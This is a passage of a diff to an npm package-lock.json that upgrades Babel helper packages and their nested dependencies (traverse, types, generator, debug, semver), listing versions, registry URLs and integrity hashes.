+ "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-create-regexp-features-plugin": { - "version": "7.8.8", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.8.8.tgz", - "integrity": "sha512-LYVPdwkrQEiX9+1R29Ld/wTrmQu1SSKYnuOk3g0CkcZMA1p0gsNxJFj/3gBdaJ7Cg0Fnek5z0DsMULePP7Lrqg==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-regex": "^7.8.3", - "regexpu-core": "^4.7.0" - } - }, - "@babel/helper-define-map": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.8.3.tgz", - "integrity": "sha512-PoeBYtxoZGtct3md6xZOCWPcKuMuk3IHhgxsRRNtnNShebf4C8YonTSblsK4tvDbm+eJAw2HAPOfCr+Q/YRG/g==", - "dev": true, - "requires": { - "@babel/helper-function-name": "^7.8.3", - "@babel/types": "^7.8.3", - "lodash": "^4.17.13" - } - }, - "@babel/helper-explode-assignable-expression": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.8.3.tgz", - "integrity": "sha512-N+8eW86/Kj147bO9G2uclsg5pwfs/fqqY5rwgIL7eTBklgXjcOJ3btzS5iM6AitJcftnY7pm2lGsrJVYLGjzIw==", - "dev": true, - "requires": { - "@babel/traverse": "^7.8.3", - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-function-name": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz", - "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==", + "version": "7.12.17", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.12.17.tgz", + "integrity": "sha512-p2VGmBu9oefLZ2nQpgnEnG0ZlRPvL8gAGvPUMQwUdaE8k49rOMuZpOwdQoy5qJf6K8jL3bcAMhVUlHAjIgJHUg==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.8.3", - "@babel/template": "^7.8.3", - "@babel/types": "^7.9.5" + "@babel/helper-annotate-as-pure": "^7.12.13", + "regexpu-core": "^4.7.1" } }, - "@babel/helper-get-function-arity": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz", - "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==", + "@babel/helper-define-polyfill-provider": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.0.tgz", + "integrity": "sha512-JT8tHuFjKBo8NnaUbblz7mIu1nnvUDiHVjXXkulZULyidvo/7P6TY7+YqpV37IfF+KUFxmlK04elKtGKXaiVgw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, - "@babel/helper-hoist-variables": { + "@babel/helper-explode-assignable-expression": { + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.13.0.tgz", + "integrity": "sha512-qS0peLTDP8kOisG1blKbaoBg/o9OSa1qoumMjTK5pM+KDTtpxpsiubnCGP34vK8BXGcb2M9eigwgvoJryrzwWA==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } + } + }, + "@babel/helper-function-name": { + "version": "7.9.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz", + "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.8.3", + "@babel/template": "^7.8.3", + "@babel/types": "^7.9.5" + } + }, + "@babel/helper-get-function-arity": { "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.8.3.tgz", - "integrity": "sha512-ky1JLOjcDUtSc+xkt0xhYff7Z6ILTAHKmZLHPxAhOP0Nd77O+3nCsd6uSVYur6nJnCI029CrNbYlc0LoPfAPQg==", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz", + "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==", "dev": true, "requires": { "@babel/types": "^7.8.3" } }, + "@babel/helper-hoist-variables": { + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.13.0.tgz", + "integrity": "sha512-0kBzvXiIKfsCA0y6cFEIJf4OdzfpRuNk4+YTeHZpGGc666SATFKTz6sRncwFnQk7/ugJ4dSrCj6iJuvW4Qwr2g==", + "dev": true, + "requires": { + "@babel/traverse": "^7.13.0", + "@babel/types": "^7.13.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } + } + }, "@babel/helper-member-expression-to-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.8.3.tgz", - "integrity": "sha512-fO4Egq88utkQFjbPrSHGmGLFqmrshs11d46WI+WZDESt7Wu7wN2G2Iu+NMMZJFDOVRHAMIkB5SNh30NtwCA7RA==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.13.12.tgz", + "integrity": "sha512-48ql1CLL59aKbU94Y88Xgb2VFy7a95ykGRbJJaaVv+LX5U8wFpLfiGXJJGUozsmA1oEh/o5Bp60Voq7ACyA/Sw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-module-imports": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.8.3.tgz", - "integrity": "sha512-R0Bx3jippsbAEtzkpZ/6FIiuzOURPcMjHp+Z6xPe6DtApDJx+w7UYyOLanZqO8+wKR9G10s/FmHXvxaMd9s6Kg==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.13.12.tgz", + "integrity": "sha512-4cVvR2/1B693IuOvSI20xqqa/+bl7lqAMR59R4iu39R9aOX8/JoYY1sFaNvUMyMBGnHdwvJgUrzNLoUZxXypxA==", "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==" + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-module-transforms": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.9.0.tgz", - "integrity": "sha512-0FvKyu0gpPfIQ8EkxlrAydOWROdHpBmiCiRwLkUiBGhCUPRRbVD2/tm3sFr/c/GWFrQ/ffutGUAnx7V0FzT2wA==", - "dev": true, - "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.6", - "@babel/helper-simple-access": "^7.8.3", - "@babel/helper-split-export-declaration": "^7.8.3", - "@babel/template": "^7.8.6", - "@babel/types": "^7.9.0", - "lodash": "^4.17.13" + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.13.14.tgz", + "integrity": "sha512-QuU/OJ0iAOSIatyVZmfqB0lbkVP0kDRiKj34xy+QNsnVZi/PA6BoSoreeqnxxa9EHFAIL0R9XOaAR/G9WlIy5g==", + "dev": true, + "requires": { + "@babel/helper-module-imports": "^7.13.12", + "@babel/helper-replace-supers": "^7.13.12", + "@babel/helper-simple-access": "^7.13.12", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/helper-validator-identifier": "^7.12.11", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.13", + "@babel/types": "^7.13.14" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/helper-optimise-call-expression": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.8.3.tgz", - "integrity": "sha512-Kag20n86cbO2AvHca6EJsvqAd82gc6VMGule4HwebwMlwkpXuVqrNRj6CkCV2sKxgi9MyAUnZVnZ6lJ1/vKhHQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.12.13.tgz", + "integrity": "sha512-BdWQhoVJkp6nVjB7nkFWcn43dkprYauqtk++Py2eaf/GRDFm5BxRqEIZCiHlZUGAVmtwKcsVL1dC68WmzeFmiA==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": 